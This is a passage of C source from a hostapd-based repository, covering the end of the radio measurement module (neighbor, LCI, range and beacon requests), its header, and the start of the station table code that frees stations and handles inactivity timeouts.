hostapd_handle_range_report(hapd, token, ie + 2, ie[1]); break; case MEASURE_TYPE_BEACON: hostapd_handle_beacon_report(hapd, mgmt->sa, token, rep_mode, ie + 2, ie[1]); break; default: wpa_printf(MSG_DEBUG, "Measurement report type %u is not supported", ie[4]); break; } pos = ie + ie[1] + 2; } } static u16 hostapd_parse_location_lci_req_age(const u8 *buf, size_t len) { const u8 *subelem; /* Range Request element + Location Subject + Maximum Age subelement */ if (len < 3 + 1 + 4) return 0; /* Subelements are arranged as IEs */ subelem = get_ie(buf + 4, len - 4, LCI_REQ_SUBELEM_MAX_AGE); if (subelem && subelem[1] == 2) return WPA_GET_LE16(subelem + 2); return 0; } static int hostapd_check_lci_age(struct hostapd_neighbor_entry *nr, u16 max_age) { struct os_time curr, diff; unsigned long diff_l; if (nr->stationary || max_age == 0xffff) return 1; if (!max_age) return 0; if (os_get_time(&curr)) return 0; os_time_sub(&curr, &nr->lci_date, &diff); /* avoid overflow */ if (diff.sec > 0xffff) return 0; /* LCI age is calculated in 10th of a second units. */ diff_l = diff.sec * 10 + diff.usec / 100000; return max_age > diff_l; } static size_t hostapd_neighbor_report_len(struct wpabuf *buf, struct hostapd_neighbor_entry *nr, int send_lci, int send_civic) { size_t len = 2 + wpabuf_len(nr->nr); if (send_lci && nr->lci) len += 2 + wpabuf_len(nr->lci); if (send_civic && nr->civic) len += 2 + wpabuf_len(nr->civic); return len; } static void hostapd_send_nei_report_resp(struct hostapd_data *hapd, const u8 *addr, u8 dialog_token, struct wpa_ssid_value *ssid, u8 lci, u8 civic, u16 lci_max_age) { struct hostapd_neighbor_entry *nr; struct wpabuf *buf; u8 *msmt_token; /* * The number and length of the Neighbor Report elements in a Neighbor * Report frame is limited by the maximum allowed MMPDU size; + 3 bytes * of RRM header. */ buf = wpabuf_alloc(3 + IEEE80211_MAX_MMPDU_SIZE); if (!buf) return; wpabuf_put_u8(buf, WLAN_ACTION_RADIO_MEASUREMENT); wpabuf_put_u8(buf, WLAN_RRM_NEIGHBOR_REPORT_RESPONSE); wpabuf_put_u8(buf, dialog_token); dl_list_for_each(nr, &hapd->nr_db, struct hostapd_neighbor_entry, list) { int send_lci; size_t len; if (ssid->ssid_len != nr->ssid.ssid_len || os_memcmp(ssid->ssid, nr->ssid.ssid, ssid->ssid_len) != 0) continue; send_lci = (lci != 0) && hostapd_check_lci_age(nr, lci_max_age); len = hostapd_neighbor_report_len(buf, nr, send_lci, civic); if (len - 2 > 0xff) { wpa_printf(MSG_DEBUG, "NR entry for " MACSTR " exceeds 0xFF bytes", MAC2STR(nr->bssid)); continue; } if (len > wpabuf_tailroom(buf)) break; wpabuf_put_u8(buf, WLAN_EID_NEIGHBOR_REPORT); wpabuf_put_u8(buf, len - 2); wpabuf_put_buf(buf, nr->nr); if (send_lci && nr->lci) { wpabuf_put_u8(buf, WLAN_EID_MEASURE_REPORT); wpabuf_put_u8(buf, wpabuf_len(nr->lci)); /* * Override measurement token - the first byte of the * Measurement Report element. */ msmt_token = wpabuf_put(buf, 0); wpabuf_put_buf(buf, nr->lci); *msmt_token = lci; } if (civic && nr->civic) { wpabuf_put_u8(buf, WLAN_EID_MEASURE_REPORT); wpabuf_put_u8(buf, wpabuf_len(nr->civic)); /* * Override measurement token - the first byte of the * Measurement Report element. */ msmt_token = wpabuf_put(buf, 0); wpabuf_put_buf(buf, nr->civic); *msmt_token = civic; } } hostapd_drv_send_action(hapd, hapd->iface->freq, 0, addr, wpabuf_head(buf), wpabuf_len(buf)); wpabuf_free(buf); } static void hostapd_handle_nei_report_req(struct hostapd_data *hapd, const u8 *buf, size_t len) { const struct ieee80211_mgmt *mgmt = (const struct ieee80211_mgmt *) buf; const u8 *pos, *ie, *end; struct wpa_ssid_value ssid = { .ssid_len = 0 }; u8 token; u8 lci = 0, civic = 0; /* Measurement tokens */ u16 lci_max_age = 0; if (!(hapd->conf->radio_measurements[0] & WLAN_RRM_CAPS_NEIGHBOR_REPORT)) return; end = buf + len; token = mgmt->u.action.u.rrm.dialog_token; pos = mgmt->u.action.u.rrm.variable; len = end - pos; ie = get_ie(pos, len, WLAN_EID_SSID); if (ie && ie[1] && ie[1] <= SSID_MAX_LEN) { ssid.ssid_len = ie[1]; os_memcpy(ssid.ssid, ie + 2, ssid.ssid_len); } else { ssid.ssid_len = hapd->conf->ssid.ssid_len; os_memcpy(ssid.ssid, hapd->conf->ssid.ssid, ssid.ssid_len); } while ((ie = get_ie(pos, len, WLAN_EID_MEASURE_REQUEST))) { if (ie[1] < 3) break; wpa_printf(MSG_DEBUG, "Neighbor report request, measure type %u", ie[4]); switch (ie[4]) { /* Measurement Type */ case MEASURE_TYPE_LCI: lci = ie[2]; /* Measurement Token */ lci_max_age = hostapd_parse_location_lci_req_age(ie + 2, ie[1]); break; case MEASURE_TYPE_LOCATION_CIVIC: civic = ie[2]; /* Measurement token */ break; } pos = ie + ie[1] + 2; len = end - pos; } hostapd_send_nei_report_resp(hapd, mgmt->sa, token, &ssid, lci, civic, lci_max_age); } void hostapd_handle_radio_measurement(struct hostapd_data *hapd, const u8 *buf, size_t len) { const struct ieee80211_mgmt *mgmt = (const struct ieee80211_mgmt *) buf; /* * Check for enough bytes: header + (1B)Category + (1B)Action + * (1B)Dialog Token. */ if (len < IEEE80211_HDRLEN + 3) return; wpa_printf(MSG_DEBUG, "Radio measurement frame, action %u from " MACSTR, mgmt->u.action.u.rrm.action, MAC2STR(mgmt->sa)); switch (mgmt->u.action.u.rrm.action) { case WLAN_RRM_RADIO_MEASUREMENT_REPORT: hostapd_handle_radio_msmt_report(hapd, buf, len); break; case WLAN_RRM_NEIGHBOR_REPORT_REQUEST: hostapd_handle_nei_report_req(hapd, buf, len); break; default: wpa_printf(MSG_DEBUG, "RRM action %u is not supported", mgmt->u.action.u.rrm.action); break; } } int hostapd_send_lci_req(struct hostapd_data *hapd, const u8 *addr) { struct wpabuf *buf; struct sta_info *sta = ap_get_sta(hapd, addr); int ret; if (!sta || !(sta->flags & WLAN_STA_AUTHORIZED)) { wpa_printf(MSG_INFO, "Request LCI: Destination address is not connected"); return -1; } if (!(sta->rrm_enabled_capa[1] & WLAN_RRM_CAPS_LCI_MEASUREMENT)) { wpa_printf(MSG_INFO, "Request LCI: Station does not support LCI in RRM"); return -1; } if (hapd->lci_req_active) { wpa_printf(MSG_DEBUG, "Request LCI: LCI request is already in process, overriding"); hapd->lci_req_active = 0; eloop_cancel_timeout(hostapd_lci_rep_timeout_handler, hapd, NULL); } /* Measurement request (5) + Measurement element with LCI (10) */ buf = wpabuf_alloc(5 + 10); if (!buf) return -1; hapd->lci_req_token++; /* For wraparounds - the token must be nonzero */ if (!hapd->lci_req_token) hapd->lci_req_token++; wpabuf_put_u8(buf, WLAN_ACTION_RADIO_MEASUREMENT); wpabuf_put_u8(buf, WLAN_RRM_RADIO_MEASUREMENT_REQUEST); wpabuf_put_u8(buf, hapd->lci_req_token); wpabuf_put_le16(buf, 0); /* Number of repetitions */ wpabuf_put_u8(buf, WLAN_EID_MEASURE_REQUEST); wpabuf_put_u8(buf, 3 + 1 + 4); wpabuf_put_u8(buf, 1); /* Measurement Token */ /* * Parallel and Enable bits are 0, Duration, Request, and Report are * reserved. */ wpabuf_put_u8(buf, 0); wpabuf_put_u8(buf, MEASURE_TYPE_LCI); wpabuf_put_u8(buf, LOCATION_SUBJECT_REMOTE); wpabuf_put_u8(buf, LCI_REQ_SUBELEM_MAX_AGE); wpabuf_put_u8(buf, 2); wpabuf_put_le16(buf, 0xffff); ret = hostapd_drv_send_action(hapd, hapd->iface->freq, 0, addr, wpabuf_head(buf), wpabuf_len(buf)); wpabuf_free(buf); if (ret) return ret; hapd->lci_req_active = 1; eloop_register_timeout(HOSTAPD_RRM_REQUEST_TIMEOUT, 0, hostapd_lci_rep_timeout_handler, hapd, NULL); return 0; } int hostapd_send_range_req(struct hostapd_data *hapd, const u8 *addr, u16 random_interval, u8 min_ap, const u8 *responders, unsigned int n_responders) { struct wpabuf *buf; struct sta_info *sta; u8 *len; unsigned int i; int ret; wpa_printf(MSG_DEBUG, "Request range: dest addr " MACSTR " rand interval %u min AP %u n_responders %u", MAC2STR(addr), random_interval, min_ap, n_responders); if (min_ap == 0 || min_ap > n_responders) { wpa_printf(MSG_INFO, "Request range: Wrong min AP count"); return -1; } sta = ap_get_sta(hapd, addr); if (!sta || !(sta->flags & WLAN_STA_AUTHORIZED)) { wpa_printf(MSG_INFO, "Request range: Destination address is not connected"); return -1; } if (!(sta->rrm_enabled_capa[4] & WLAN_RRM_CAPS_FTM_RANGE_REPORT)) { wpa_printf(MSG_ERROR, "Request range: Destination station does not support FTM range report in RRM"); return -1; } if (hapd->range_req_active) { wpa_printf(MSG_DEBUG, "Request range: Range request is already in process; overriding"); hapd->range_req_active = 0; eloop_cancel_timeout(hostapd_range_rep_timeout_handler, hapd, NULL); } /* Action + measurement type + token + reps + EID + len = 7 */ buf = wpabuf_alloc(7 + 255); if (!buf) return -1; hapd->range_req_token++; if (!hapd->range_req_token) /* For wraparounds */ hapd->range_req_token++; /* IEEE P802.11-REVmc/D5.0, 9.6.7.2 */ wpabuf_put_u8(buf, WLAN_ACTION_RADIO_MEASUREMENT); wpabuf_put_u8(buf, WLAN_RRM_RADIO_MEASUREMENT_REQUEST); wpabuf_put_u8(buf, hapd->range_req_token); /* Dialog Token */ wpabuf_put_le16(buf, 0); /* Number of Repetitions */ /* IEEE P802.11-REVmc/D5.0, 9.4.2.21 */ wpabuf_put_u8(buf, WLAN_EID_MEASURE_REQUEST); len = wpabuf_put(buf, 1); /* Length will be set later */ wpabuf_put_u8(buf, 1); /* Measurement Token */ /* * Parallel and Enable bits are 0; Duration, Request, and Report are * reserved. */ wpabuf_put_u8(buf, 0); /* Measurement Request Mode */ wpabuf_put_u8(buf, MEASURE_TYPE_FTM_RANGE); /* Measurement Type */ /* IEEE P802.11-REVmc/D5.0, 9.4.2.21.19 */ wpabuf_put_le16(buf, random_interval); /* Randomization Interval */ wpabuf_put_u8(buf, min_ap); /* Minimum AP Count */ /* FTM Range Subelements */ /* * Taking the neighbor report part of the range request from neighbor * database instead of requesting the separate bits of data from the * user. */ for (i = 0; i < n_responders; i++) { struct hostapd_neighbor_entry *nr; nr = hostapd_neighbor_get(hapd, responders + ETH_ALEN * i, NULL); if (!nr) { wpa_printf(MSG_INFO, "Missing neighbor report for " MACSTR, MAC2STR(responders + ETH_ALEN * i)); wpabuf_free(buf); return -1; } if (wpabuf_tailroom(buf) < 2 + wpabuf_len(nr->nr)) { wpa_printf(MSG_ERROR, "Too long range request"); wpabuf_free(buf); return -1; } wpabuf_put_u8(buf, WLAN_EID_NEIGHBOR_REPORT); wpabuf_put_u8(buf, wpabuf_len(nr->nr)); wpabuf_put_buf(buf, nr->nr); } /* Action + measurement type + token + reps + EID + len = 7 */ *len = wpabuf_len(buf) - 7; ret = hostapd_drv_send_action(hapd, hapd->iface->freq, 0, addr, wpabuf_head(buf), wpabuf_len(buf)); wpabuf_free(buf); if (ret) return ret; hapd->range_req_active = 1; eloop_register_timeout(HOSTAPD_RRM_REQUEST_TIMEOUT, 0, hostapd_range_rep_timeout_handler, hapd, NULL); return 0; } void hostapd_clean_rrm(struct hostapd_data *hapd) { hostpad_free_neighbor_db(hapd); eloop_cancel_timeout(hostapd_lci_rep_timeout_handler, hapd, NULL); hapd->lci_req_active = 0; eloop_cancel_timeout(hostapd_range_rep_timeout_handler, hapd, NULL); hapd->range_req_active = 0; } int hostapd_send_beacon_req(struct hostapd_data *hapd, const u8 *addr, u8 req_mode, const struct wpabuf *req) { struct wpabuf *buf; struct sta_info *sta = ap_get_sta(hapd, addr); int ret; enum beacon_report_mode mode; const u8 *pos; /* Request data: * Operating Class (1), Channel Number (1), Randomization Interval (2), * Measurement Duration (2), Measurement Mode (1), BSSID (6), * Optional Subelements (variable) */ if (wpabuf_len(req) < 13) { wpa_printf(MSG_INFO, "Beacon request: Too short request data"); return -1; } pos = wpabuf_head(req); mode = pos[6]; if (!sta || !(sta->flags & WLAN_STA_AUTHORIZED)) { wpa_printf(MSG_INFO, "Beacon request: " MACSTR " is not connected", MAC2STR(addr)); return -1; } switch (mode) { case BEACON_REPORT_MODE_PASSIVE: if (!(sta->rrm_enabled_capa[0] & WLAN_RRM_CAPS_BEACON_REPORT_PASSIVE)) { wpa_printf(MSG_INFO, "Beacon request: " MACSTR " does not support passive beacon report", MAC2STR(addr)); return -1; } break; case BEACON_REPORT_MODE_ACTIVE: if (!(sta->rrm_enabled_capa[0] & WLAN_RRM_CAPS_BEACON_REPORT_ACTIVE)) { wpa_printf(MSG_INFO, "Beacon request: " MACSTR " does not support active beacon report", MAC2STR(addr)); return -1; } break; case BEACON_REPORT_MODE_TABLE: if (!(sta->rrm_enabled_capa[0] & WLAN_RRM_CAPS_BEACON_REPORT_TABLE)) { wpa_printf(MSG_INFO, "Beacon request: " MACSTR " does not support table beacon report", MAC2STR(addr)); return -1; } break; default: wpa_printf(MSG_INFO, "Beacon request: Unknown measurement mode %d", mode); return -1; } buf = wpabuf_alloc(5 + 2 + 3 + wpabuf_len(req)); if (!buf) return -1; hapd->beacon_req_token++; if (!hapd->beacon_req_token) hapd->beacon_req_token++; wpabuf_put_u8(buf, WLAN_ACTION_RADIO_MEASUREMENT); wpabuf_put_u8(buf, WLAN_RRM_RADIO_MEASUREMENT_REQUEST); wpabuf_put_u8(buf, hapd->beacon_req_token); wpabuf_put_le16(buf, 0); /* Number of repetitions */ /* Measurement Request element */ wpabuf_put_u8(buf, WLAN_EID_MEASURE_REQUEST); wpabuf_put_u8(buf, 3 + wpabuf_len(req)); wpabuf_put_u8(buf, 1); /* Measurement Token */ wpabuf_put_u8(buf, req_mode); /* Measurement Request Mode */ wpabuf_put_u8(buf, MEASURE_TYPE_BEACON); /* Measurement Type */ wpabuf_put_buf(buf, req); ret = hostapd_drv_send_action(hapd, hapd->iface->freq, 0, addr, wpabuf_head(buf), wpabuf_len(buf)); wpabuf_free(buf); if (ret < 0) return ret; return hapd->beacon_req_token; } void hostapd_rrm_beacon_req_tx_status(struct hostapd_data *hapd, const struct ieee80211_mgmt *mgmt, size_t len, int ok) { if (len < 24 + 3) return; wpa_msg(hapd->msg_ctx, MSG_INFO, BEACON_REQ_TX_STATUS MACSTR " %u ack=%d", MAC2STR(mgmt->da), mgmt->u.action.u.rrm.dialog_token, ok); } wpa_sycophant-master/src/ap/rrm.h000066400000000000000000000023321377436615100174030ustar00rootroot00000000000000/* * hostapd / Radio Measurement (RRM) * Copyright(c) 2013 - 2016 Intel Mobile Communications GmbH. * Copyright(c) 2011 - 2016 Intel Corporation. All rights reserved. * * This software may be distributed under the terms of the BSD license. * See README for more details. */ #ifndef RRM_H #define RRM_H /* * Max measure request length is 255, -6 of the body we have 249 for the * neighbor report elements. Each neighbor report element is at least 2 + 13 * bytes, so we can't have more than 16 responders in the request. */ #define RRM_RANGE_REQ_MAX_RESPONDERS 16 void hostapd_handle_radio_measurement(struct hostapd_data *hapd, const u8 *buf, size_t len); int hostapd_send_lci_req(struct hostapd_data *hapd, const u8 *addr); int hostapd_send_range_req(struct hostapd_data *hapd, const u8 *addr, u16 random_interval, u8 min_ap, const u8 *responders, unsigned int n_responders); void hostapd_clean_rrm(struct hostapd_data *hapd); int hostapd_send_beacon_req(struct hostapd_data *hapd, const u8 *addr, u8 req_mode, const struct wpabuf *req); void hostapd_rrm_beacon_req_tx_status(struct hostapd_data *hapd, const struct ieee80211_mgmt *mgmt, size_t len, int ok); #endif /* RRM_H */ wpa_sycophant-master/src/ap/sta_info.c000066400000000000000000001201301377436615100203750ustar00rootroot00000000000000/* * hostapd / Station table * Copyright (c) 2002-2017, Jouni Malinen * * This software may be distributed under the terms of the BSD license. * See README for more details. */ #include "utils/includes.h" #include "utils/common.h" #include "utils/eloop.h" #include "common/ieee802_11_defs.h" #include "common/wpa_ctrl.h" #include "common/sae.h" #include "radius/radius.h" #include "radius/radius_client.h" #include "p2p/p2p.h" #include "fst/fst.h" #include "crypto/crypto.h" #include "hostapd.h" #include "accounting.h" #include "ieee802_1x.h" #include "ieee802_11.h" #include "ieee802_11_auth.h" #include "wpa_auth.h" #include "preauth_auth.h" #include "ap_config.h" #include "beacon.h" #include "ap_mlme.h" #include "vlan_init.h" #include "p2p_hostapd.h" #include "ap_drv_ops.h" #include "gas_serv.h" #include "wnm_ap.h" #include "mbo_ap.h" #include "ndisc_snoop.h" #include "sta_info.h" #include "vlan.h" #include "wps_hostapd.h" static void ap_sta_remove_in_other_bss(struct hostapd_data *hapd, struct sta_info *sta); static void ap_handle_session_timer(void *eloop_ctx, void *timeout_ctx); static void ap_handle_session_warning_timer(void *eloop_ctx, void *timeout_ctx); static void ap_sta_deauth_cb_timeout(void *eloop_ctx, void *timeout_ctx); static void ap_sta_disassoc_cb_timeout(void *eloop_ctx, void *timeout_ctx); #ifdef CONFIG_IEEE80211W static void ap_sa_query_timer(void *eloop_ctx, void *timeout_ctx); #endif /* CONFIG_IEEE80211W */ static int ap_sta_remove(struct hostapd_data *hapd, struct sta_info *sta); static void ap_sta_delayed_1x_auth_fail_cb(void *eloop_ctx, void *timeout_ctx); int ap_for_each_sta(struct hostapd_data *hapd, int (*cb)(struct hostapd_data *hapd, struct sta_info *sta, void *ctx), void *ctx) { struct sta_info *sta; for (sta = hapd->sta_list; sta; sta = sta->next) { if (cb(hapd, sta, ctx)) return 1; } return 0; } struct sta_info * ap_get_sta(struct hostapd_data *hapd, const u8 *sta) { struct sta_info *s; s = hapd->sta_hash[STA_HASH(sta)]; while (s != NULL && os_memcmp(s->addr, sta, 6) != 0) s = s->hnext; return s; } #ifdef CONFIG_P2P struct sta_info * ap_get_sta_p2p(struct hostapd_data *hapd, const u8 *addr) { struct sta_info *sta; for (sta = hapd->sta_list; sta; sta = sta->next) { const u8 *p2p_dev_addr; if (sta->p2p_ie == NULL) continue; p2p_dev_addr = p2p_get_go_dev_addr(sta->p2p_ie); if (p2p_dev_addr == NULL) continue; if (os_memcmp(p2p_dev_addr, addr, ETH_ALEN) == 0) return sta; } return NULL; } #endif /* CONFIG_P2P */ static void ap_sta_list_del(struct hostapd_data *hapd, struct sta_info *sta) { struct sta_info *tmp; if (hapd->sta_list == sta) { hapd->sta_list = sta->next; return; } tmp = hapd->sta_list; while (tmp != NULL && tmp->next != sta) tmp = tmp->next; if (tmp == NULL) { wpa_printf(MSG_DEBUG, "Could not remove STA " MACSTR " from " "list.", MAC2STR(sta->addr)); } else tmp->next = sta->next; } void ap_sta_hash_add(struct hostapd_data *hapd, struct sta_info *sta) { sta->hnext = hapd->sta_hash[STA_HASH(sta->addr)]; hapd->sta_hash[STA_HASH(sta->addr)] = sta; } static void ap_sta_hash_del(struct hostapd_data *hapd, struct sta_info *sta) { struct sta_info *s; s = hapd->sta_hash[STA_HASH(sta->addr)]; if (s == NULL) return; if (os_memcmp(s->addr, sta->addr, 6) == 0) { hapd->sta_hash[STA_HASH(sta->addr)] = s->hnext; return; } while (s->hnext != NULL && os_memcmp(s->hnext->addr, sta->addr, ETH_ALEN) != 0) s = s->hnext; if (s->hnext != NULL) s->hnext = s->hnext->hnext; else wpa_printf(MSG_DEBUG, "AP: could not remove STA " MACSTR " from hash table", MAC2STR(sta->addr)); } void ap_sta_ip6addr_del(struct hostapd_data *hapd, struct sta_info *sta) { sta_ip6addr_del(hapd, sta); } void ap_free_sta(struct hostapd_data *hapd, struct sta_info *sta) { int set_beacon = 0; accounting_sta_stop(hapd, sta); /* just in case */ ap_sta_set_authorized(hapd, sta, 0); if (sta->flags & WLAN_STA_WDS) hostapd_set_wds_sta(hapd, NULL, sta->addr, sta->aid, 0); if (sta->ipaddr) hostapd_drv_br_delete_ip_neigh(hapd, 4, (u8 *) &sta->ipaddr); ap_sta_ip6addr_del(hapd, sta); if (!hapd->iface->driver_ap_teardown && !(sta->flags & WLAN_STA_PREAUTH)) { hostapd_drv_sta_remove(hapd, sta->addr); sta->added_unassoc = 0; } ap_sta_hash_del(hapd, sta); ap_sta_list_del(hapd, sta); if (sta->aid > 0) hapd->sta_aid[(sta->aid - 1) / 32] &= ~BIT((sta->aid - 1) % 32); hapd->num_sta--; if (sta->nonerp_set) { sta->nonerp_set = 0; hapd->iface->num_sta_non_erp--; if (hapd->iface->num_sta_non_erp == 0) set_beacon++; } if (sta->no_short_slot_time_set) { sta->no_short_slot_time_set = 0; hapd->iface->num_sta_no_short_slot_time--; if (hapd->iface->current_mode && hapd->iface->current_mode->mode == HOSTAPD_MODE_IEEE80211G && hapd->iface->num_sta_no_short_slot_time == 0) set_beacon++; } if (sta->no_short_preamble_set) { sta->no_short_preamble_set = 0; hapd->iface->num_sta_no_short_preamble--; if (hapd->iface->current_mode && hapd->iface->current_mode->mode == HOSTAPD_MODE_IEEE80211G && hapd->iface->num_sta_no_short_preamble == 0) set_beacon++; } if (sta->no_ht_gf_set) { sta->no_ht_gf_set = 0; hapd->iface->num_sta_ht_no_gf--; } if (sta->no_ht_set) { sta->no_ht_set = 0; hapd->iface->num_sta_no_ht--; } if (sta->ht_20mhz_set) { sta->ht_20mhz_set = 0; hapd->iface->num_sta_ht_20mhz--; } #ifdef CONFIG_TAXONOMY wpabuf_free(sta->probe_ie_taxonomy); sta->probe_ie_taxonomy = NULL; wpabuf_free(sta->assoc_ie_taxonomy); sta->assoc_ie_taxonomy = NULL; #endif /* CONFIG_TAXONOMY */ #ifdef CONFIG_IEEE80211N ht40_intolerant_remove(hapd->iface, sta); #endif /* CONFIG_IEEE80211N */ #ifdef CONFIG_P2P if (sta->no_p2p_set) { sta->no_p2p_set = 0; hapd->num_sta_no_p2p--; if (hapd->num_sta_no_p2p == 0) hostapd_p2p_non_p2p_sta_disconnected(hapd); } #endif /* CONFIG_P2P */ #if defined(NEED_AP_MLME) && defined(CONFIG_IEEE80211N) if (hostapd_ht_operation_update(hapd->iface) > 0) set_beacon++; #endif /* NEED_AP_MLME && CONFIG_IEEE80211N */ #ifdef CONFIG_MESH if (hapd->mesh_sta_free_cb) hapd->mesh_sta_free_cb(hapd, sta); #endif /* CONFIG_MESH */ if (set_beacon) ieee802_11_set_beacons(hapd->iface); wpa_printf(MSG_DEBUG, "%s: cancel ap_handle_timer for " MACSTR, __func__, MAC2STR(sta->addr)); eloop_cancel_timeout(ap_handle_timer, hapd, sta); eloop_cancel_timeout(ap_handle_session_timer, hapd, sta); eloop_cancel_timeout(ap_handle_session_warning_timer, hapd, sta); ap_sta_clear_disconnect_timeouts(hapd, sta); sae_clear_retransmit_timer(hapd, sta); ieee802_1x_free_station(hapd, sta); wpa_auth_sta_deinit(sta->wpa_sm); rsn_preauth_free_station(hapd, sta); #ifndef CONFIG_NO_RADIUS if (hapd->radius) radius_client_flush_auth(hapd->radius, sta->addr); #endif /* CONFIG_NO_RADIUS */ #ifndef CONFIG_NO_VLAN /* * sta->wpa_sm->group needs to be released before so that * vlan_remove_dynamic() can check that no stations are left on the * AP_VLAN netdev. */ if (sta->vlan_id) vlan_remove_dynamic(hapd, sta->vlan_id); if (sta->vlan_id_bound) { /* * Need to remove the STA entry before potentially removing the * VLAN. */ if (hapd->iface->driver_ap_teardown && !(sta->flags & WLAN_STA_PREAUTH)) { hostapd_drv_sta_remove(hapd, sta->addr); sta->added_unassoc = 0; } vlan_remove_dynamic(hapd, sta->vlan_id_bound); } #endif /* CONFIG_NO_VLAN */ os_free(sta->challenge); #ifdef CONFIG_IEEE80211W os_free(sta->sa_query_trans_id); eloop_cancel_timeout(ap_sa_query_timer, hapd, sta); #endif /* CONFIG_IEEE80211W */ #ifdef CONFIG_P2P p2p_group_notif_disassoc(hapd->p2p_group, sta->addr); #endif /* CONFIG_P2P */ #ifdef CONFIG_INTERWORKING if (sta->gas_dialog) { int i; for (i = 0; i < GAS_DIALOG_MAX; i++) gas_serv_dialog_clear(&sta->gas_dialog[i]); os_free(sta->gas_dialog); } #endif /* CONFIG_INTERWORKING */ wpabuf_free(sta->wps_ie); wpabuf_free(sta->p2p_ie); wpabuf_free(sta->hs20_ie); wpabuf_free(sta->roaming_consortium); #ifdef CONFIG_FST wpabuf_free(sta->mb_ies); #endif /* CONFIG_FST */ os_free(sta->ht_capabilities); os_free(sta->vht_capabilities); hostapd_free_psk_list(sta->psk); os_free(sta->identity); os_free(sta->radius_cui); os_free(sta->remediation_url); wpabuf_free(sta->hs20_deauth_req); os_free(sta->hs20_session_info_url); #ifdef CONFIG_SAE sae_clear_data(sta->sae); os_free(sta->sae); #endif /* CONFIG_SAE */ mbo_ap_sta_free(sta); os_free(sta->supp_op_classes); #ifdef CONFIG_FILS os_free(sta->fils_pending_assoc_req); wpabuf_free(sta->fils_hlp_resp); wpabuf_free(sta->hlp_dhcp_discover); eloop_cancel_timeout(fils_hlp_timeout, hapd, sta); #ifdef CONFIG_FILS_SK_PFS crypto_ecdh_deinit(sta->fils_ecdh); wpabuf_clear_free(sta->fils_dh_ss); wpabuf_free(sta->fils_g_sta); #endif /* CONFIG_FILS_SK_PFS */ #endif /* CONFIG_FILS */ #ifdef CONFIG_OWE bin_clear_free(sta->owe_pmk, sta->owe_pmk_len); crypto_ecdh_deinit(sta->owe_ecdh); #endif /* CONFIG_OWE */ os_free(sta->ext_capability); #ifdef CONFIG_WNM_AP eloop_cancel_timeout(ap_sta_reset_steer_flag_timer, hapd, sta); #endif /* CONFIG_WNM_AP */ os_free(sta->ifname_wds); os_free(sta); } void hostapd_free_stas(struct hostapd_data *hapd) { struct sta_info *sta, *prev; sta = hapd->sta_list; while (sta) { prev = sta; if (sta->flags & WLAN_STA_AUTH) { mlme_deauthenticate_indication( hapd, sta, WLAN_REASON_UNSPECIFIED); } sta = sta->next; wpa_printf(MSG_DEBUG, "Removing station " MACSTR, MAC2STR(prev->addr)); ap_free_sta(hapd, prev); } } /** * ap_handle_timer - Per STA timer handler * @eloop_ctx: struct hostapd_data * * @timeout_ctx: struct sta_info * * * This function is called to check station activity and to remove inactive * stations. */ void ap_handle_timer(void *eloop_ctx, void *timeout_ctx) { struct hostapd_data *hapd = eloop_ctx; struct sta_info *sta = timeout_ctx; unsigned long next_time = 0; int reason; wpa_printf(MSG_DEBUG, "%s: %s: " MACSTR " flags=0x%x timeout_next=%d", hapd->conf->iface, __func__, MAC2STR(sta->addr), sta->flags, sta->timeout_next); if (sta->timeout_next == STA_REMOVE) { hostapd_logger(hapd, sta->addr, HOSTAPD_MODULE_IEEE80211, HOSTAPD_LEVEL_INFO, "deauthenticated due to " "local deauth request"); ap_free_sta(hapd, sta); return; } if ((sta->flags & WLAN_STA_ASSOC) && (sta->timeout_next == STA_NULLFUNC || sta->timeout_next == STA_DISASSOC)) { int inactive_sec; /* * Add random value to timeout so that we don't end up bouncing * all stations at the same time if we have lots of associated * stations that are idle (but keep re-associating). */ int fuzz = os_random() % 20; inactive_sec = hostapd_drv_get_inact_sec(hapd, sta->addr); if (inactive_sec == -1) { wpa_msg(hapd->msg_ctx, MSG_DEBUG, "Check inactivity: Could not " "get station info from kernel driver for " MACSTR, MAC2STR(sta->addr)); /* * The driver may not support this functionality. * Anyway, try again after the next inactivity timeout, * but do not disconnect the station now. */ next_time = hapd->conf->ap_max_inactivity + fuzz; } else if (inactive_sec == -ENOENT) { wpa_msg(hapd->msg_ctx, MSG_DEBUG, "Station " MACSTR " has lost its driver entry", MAC2STR(sta->addr)); /* Avoid sending client probe on removed client */ sta->timeout_next = STA_DISASSOC; goto skip_poll; } else if (inactive_sec < hapd->conf->ap_max_inactivity) { /* station activity detected; reset timeout state */ wpa_msg(hapd->msg_ctx, MSG_DEBUG, "Station " MACSTR " has been active %is ago", MAC2STR(sta->addr), inactive_sec); sta->timeout_next = STA_NULLFUNC; next_time = hapd->conf->ap_max_inactivity + fuzz - inactive_sec; } else { wpa_msg(hapd->msg_ctx, MSG_DEBUG, "Station " MACSTR " has been " "inactive too long: %d sec, max allowed: %d", MAC2STR(sta->addr), inactive_sec, hapd->conf->ap_max_inactivity); if (hapd->conf->skip_inactivity_poll) sta->timeout_next = STA_DISASSOC; } } if ((sta->flags & WLAN_STA_ASSOC) && sta->timeout_next == STA_DISASSOC && !(sta->flags & WLAN_STA_PENDING_POLL) && !hapd->conf->skip_inactivity_poll) { wpa_msg(hapd->msg_ctx, MSG_DEBUG, "Station " MACSTR " has ACKed data poll", MAC2STR(sta->addr)); /* data nullfunc frame poll did not produce TX errors; assume * station ACKed it */ sta->timeout_next = STA_NULLFUNC; next_time = hapd->conf->ap_max_inactivity; } skip_poll: if (next_time) { wpa_printf(MSG_DEBUG, "%s: register ap_handle_timer timeout " "for " MACSTR " (%lu seconds)", __func__, MAC2STR(sta->addr), next_time); eloop_register_timeout(next_time, 0, ap_handle_timer, hapd, sta); return; } if (sta->timeout_next == STA_NULLFUNC && (sta->flags & WLAN_STA_ASSOC)) { wpa_printf(MSG_DEBUG, " Polling STA"); sta->flags |= WLAN_STA_PENDING_POLL; hostapd_drv_poll_client(hapd, hapd->own_addr, sta->addr, sta->flags & WLAN_STA_WMM); } else if (sta->timeout_next != STA_REMOVE) { int deauth = sta->timeout_next == STA_DEAUTH; wpa_dbg(hapd->msg_ctx, MSG_DEBUG, "Timeout, sending %s info to STA " MACSTR, deauth ? "deauthentication" : "disassociation", MAC2STR(sta->addr)); if (deauth) { hostapd_drv_sta_deauth( hapd, sta->addr, WLAN_REASON_PREV_AUTH_NOT_VALID); } else { reason = (sta->timeout_next == STA_DISASSOC) ? WLAN_REASON_DISASSOC_DUE_TO_INACTIVITY : WLAN_REASON_PREV_AUTH_NOT_VALID; hostapd_drv_sta_disassoc(hapd, sta->addr, reason); } } switch (sta->timeout_next) { case STA_NULLFUNC: sta->timeout_next = 